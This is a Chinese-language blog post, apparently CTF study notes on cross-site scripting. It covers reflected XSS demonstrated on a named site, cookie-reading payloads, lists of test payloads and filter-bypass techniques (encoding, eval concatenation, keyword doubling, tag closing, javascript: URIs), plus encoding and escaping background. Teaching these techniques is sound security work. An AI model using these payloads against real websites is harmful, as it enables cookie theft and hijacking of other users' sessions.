Lolik

not404

nothing
x
bilibili
github
telegram

ctf-XSS

XSS#

  1. 什么是 xss?
    跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

  2. xss 的危害
    通过 document.cookie 盗取 cookie 中的信息
    使用 js 或 css 破坏页面正常的结构与样式
    流量劫持(通过访问某段具有 window.location.href 定位到其他页面)等

xss 攻击#

反射型:

  • 攻击者提前构造一个恶意链接,来诱使客户点击,比如这样的一段链接:url+?params=<script>alert("xss攻击")</script>
  • 发生在与用户交互的地方,比如输入框
  • 尝试,网址:http://dm.unrun.top/classkey.php?page=1&classkey=

classkey 参数接受一个参数

搜索框输入 <script>alert("xss攻击")</script> 提交

vboT1

js 代码被执行,classkey.php 没有对用户输入作处理,直接输出,这就是 xss 反射型漏洞,实施攻击,比如盗取用户的 cookie

js 获取 cookie 代码:alert (document. cookie

然后输入<script>alert (document. cookie)</script>
弹框显示,盗取 cookie,dm.unrun.top网站我没有设置 cookie 所以是空的

这样甚至可以写 js 向 HK 提前准备好的网站发送信息

相关示例

XSS 常用的测试语句#

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

当字符被过滤时#

过滤空格用 / 代替空格

<img/src="x"/onerror=alert("xss");>

使用中文句号代替英文逗号
输入中文句号浏览器会自动转化成英文的逗号

<img src="x" onerror="document.location=`http://www。baidu。com`">

使用 url 编码URL 解码编码

<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

用 // 可以代替 http://

<img src="x" onerror=document.location=`//www.baidu.com`>

字符拼接利用 eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

堆叠绕过#

script 被过滤时

服务器替换这些关键词为空

str_replace("script","");
str_replace("on","");
str_replace("src","");
str_replace("data","");
str_replace("href","");

采用:scr {% hint'script' 'script 被替换为空 ' %} ipt,o {% hint 'on' 'on 被替换为空 ' %} n,s {% hint'src' 'src 被替换为空 ' %} rc 等方法

标签闭合绕过#

浏览器查找与前一个未闭合标签最近的匹配标签,有两个时后一个不会被解析

<input type="text" value='<script>alert("XSS")</script>'>

前面加上'>也就是'><script>alert("XSS")</script>

<input type="text" value=''><script>alert("XSS")</script>'>

伪协议绕过#

不能用事件触发时用伪协议,javascript /data : 后面的代码
<object data=javascript:alert(1)>

<a href="javascript:alert(`xss`);">xss</a>

这样还有这样

(alert)(1);	 alert(1);  alert`1`; 

url 解析过程#

浏览器对编码解析的顺序:
URL 解析 ->HTML 解析 ->CSS 解析 ->JS 解析

  1. 浏览器接收到一个 HTML 文档时,会触发 HTML 解析器对 HTML 文档进行词法解析,这一过程完成 HTML 解码 并创建 DOM 树;
  2. 接下来 JavaScript 解析器会介入对内联脚本进行解析,这一过程完成 JS 的解码工作;
  3. 如果浏览器遇到需要 URL 的上下文环境,这时 URL 解析器也会介入完成 URL 的解码工作。

URL 解析器的解码顺序会根据 URL 所在位置不同,导致在 JavaScript 解析器之前或之后解析

XSS 编码问题#

  1. HTML 字符实体:
    在呈现 HTML 页面时,针对某些特殊字符如 “<” 或”>” 直接使用,浏览器会误以为它们标签的开始或结束,若想正确的在 HTML 页面呈现特殊字符就需要用到其对应的字符实体。HTML 字符实体以 & 开头 + 预先定义的实体名称,以分号结束,如 “<” 的实体名称为 < 或以 & 开头 +# 符号以及字符的十进制数字(或者 十六 进制,都能解析),如”<” 的实体编号为 <。
  2. JavaScript 编码:最常用的如 “\uXXXX” 这种写法为 Unicode 转义序列,表示一个字符,其中 xxxx 表示一个 16 进制数字,如”<” Unicode 编码为 “\u003c”。
  3. URL 编码:% 加字符的 ASCII 编码对于的 2 位 16 进制数字,如”/” 对应的 URL 编码为 %2f。

常见的转义符#

HTML 在线编码转换

为了 xss

字符转义后的字符
&&amp;
<&lt;
>&gt;
"&quot;
'&#x27;
/&#x2F;

工具 HackBar#

HackBar 下载:https://github.com/HCTYMFF/hackbar2.1.3

HackBar 是一个浏览器上的一个插件,包含一些常用的工具,比如 SQL injection,XSS, 加密等

截图

vKklU

位置:F12打开 tab 栏最右侧

方便对 url 编码转换

右侧三个按钮:加载网址 -- 切分网址 -- 执行

post 提交,众所周知 get 参数可以写在地址栏,post 就需要借助工具了

相关资料#

XSS (跨站脚本攻击) 详解 --- 博客园

xss 常用标签及绕过姿势总结

xss 挖掘思路分享_强防御下的 XSS 绕过思路 ---csdn

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。